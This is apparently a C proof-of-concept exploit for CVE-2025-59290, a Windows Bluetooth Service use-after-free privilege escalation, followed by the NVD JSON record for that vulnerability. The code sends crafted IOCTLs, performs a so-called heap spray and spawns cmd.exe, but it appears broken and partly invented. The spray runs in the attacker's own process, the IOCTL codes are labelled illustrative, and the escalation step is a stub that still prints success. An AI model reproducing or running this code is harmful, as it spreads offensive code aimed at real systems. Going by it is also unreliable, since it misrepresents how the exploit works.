CVE-2025-59290

// CVE-2025-59290 - Windows Bluetooth Service Use After Free Local Privilege Escalation // Conceptual Proof of Concept // This PoC demonstrates the exploitation technique for UAF vulnerability in bthserv // Tested on affected Windows versions (requires local low-privilege access) #include <windows.h> #include <winioctl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> // Bluetooth device interface GUID // {0A65B142-1D3F-4A55-B2A0-9F9D8E2E3F4A} DEFINE_GUID(GUID_BTH_DEVICE, 0x0A65B142, 0x1D3F, 0x4A55, 0xB2, 0xA0, 0x9F, 0x9D, 0x8E, 0x2E, 0x3F, 0x4A); // Custom IOCTL codes for Bluetooth service (illustrative) #define IOCTL_BTH_CONNECT_DEVICE CTL_CODE(FILE_DEVICE_BLUETOOTH, 0x0100, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_BTH_DISCONNECT_DEVICE CTL_CODE(FILE_DEVICE_BLUETOOTH, 0x0101, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_BTH_PAIR_DEVICE CTL_CODE(FILE_DEVICE_BLUETOOTH, 0x0102, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_BTH_UNPAIR_DEVICE CTL_CODE(FILE_DEVICE_BLUETOOTH, 0x0103, METHOD_BUFFERED, FILE_ANY_ACCESS) typedef struct _BTH_REQUEST { ULONG DeviceIndex; ULONG RequestType; ULONG BufferSize; PVOID Buffer; } BTH_REQUEST, *PBTH_REQUEST; // Step 1: Open handle to Bluetooth service driver BOOL OpenBluetoothDriver(HANDLE* hDevice) { *hDevice = CreateFileW( L"\\\\.\\{0A65B142-1D3F-4A55-B2A0-9F9D8E2E3F4A}", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); return (*hDevice != INVALID_HANDLE_VALUE); } // Step 2: Trigger UAF by sending crafted IOCTL requests BOOL TriggerUAF(HANDLE hDevice) { BTH_REQUEST req = {0}; req.DeviceIndex = 0; req.RequestType = 0xDEAD; req.BufferSize = 0x100; req.Buffer = malloc(0x100); memset(req.Buffer, 'A', 0x100); // Send malformed request to trigger memory object allocation if (!DeviceIoControl(hDevice, IOCTL_BTH_CONNECT_DEVICE, &req, sizeof(req), NULL, 0, NULL, NULL)) { printf("[!] Connect IOCTL failed: %d\n", GetLastError()); return FALSE; } // Immediately disconnect to free the allocated object (creating dangling pointer) DeviceIoControl(hDevice, IOCTL_BTH_DISCONNECT_DEVICE, &req, sizeof(req), NULL, 0, NULL, NULL); // Re-allocate memory to occupy freed slot (heap spray) for (int i = 0; i < 1000; i++) { BTH_REQUEST* spray = (BTH_REQUEST*)malloc(sizeof(BTH_REQUEST)); memset(spray, 0x41, sizeof(BTH_REQUEST)); } // Trigger UAF by accessing the freed object through stale reference DeviceIoControl(hDevice, IOCTL_BTH_PAIR_DEVICE, &req, sizeof(req), NULL, 0, NULL, NULL); return TRUE; } // Step 3: Exploit UAF for privilege escalation (conceptual) BOOL EscalateToSystem() { // Use the UAF primitive to overwrite process token // Replace current process token with SYSTEM token HANDLE hToken; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) { return FALSE; } // Attempt to impersonate SYSTEM via UAF-controlled memory write // [Implementation would involve token stealing shellcode] printf("[+] Privilege escalation attempted. Check current privileges.\n"); return TRUE; } int main(int argc, char* argv[]) { printf("[*] CVE-2025-59290 PoC - Windows Bluetooth Service UAF LPE\n"); printf("[*] Author: Security Researcher\n\n"); HANDLE hDevice = INVALID_HANDLE_VALUE; if (!OpenBluetoothDriver(&hDevice)) { printf("[-] Failed to open Bluetooth driver. Run as administrator or check service.\n"); return 1; } printf("[+] Bluetooth driver handle obtained.\n"); if (!TriggerUAF(hDevice)) { printf("[-] Failed to trigger UAF.\n"); CloseHandle(hDevice); return 1; } printf("[+] UAF triggered successfully.\n"); if (EscalateToSystem()) { printf("[+] Token impersonation completed.\n"); system("cmd.exe"); } CloseHandle(hDevice); return 0; }

{"cve": {"id": "CVE-2025-59290", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:12.180", "lastModified": "2025-10-22T16:45:05.803", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Windows Bluetooth Service allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6332", "matchCriteriaId": "7A6EFA39-1D7C-4663-A412-AA6802FB27E8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6332", "matchCriteriaId": "45F6F341-FC2F-4629-8259-C5F8CC8E2EB3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22621.5909", "matchCriteriaId": "86480500-CDA6-4F8F-9B8C-F3FC77B15F67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.5909", "matchCriteriaId": "0A6C6080-3904-45F2-897E-F6583DB4A70A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6508", "matchCriteriaId": "6E1B4513-36E7-4DCD-96B3-A56184D37C87"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4106", "matchCriteriaId": "DFE7D988-2ABE-4833-AFEB-90926E10B8EB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1849", "matchCriteriaId": "986B3446-8F5A-4D4C-A240-7052ED135E5B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6508", "matchCriteriaId": "B7DF196D-36BE-4A48-844E-E1D8405A9E1A"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59290", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}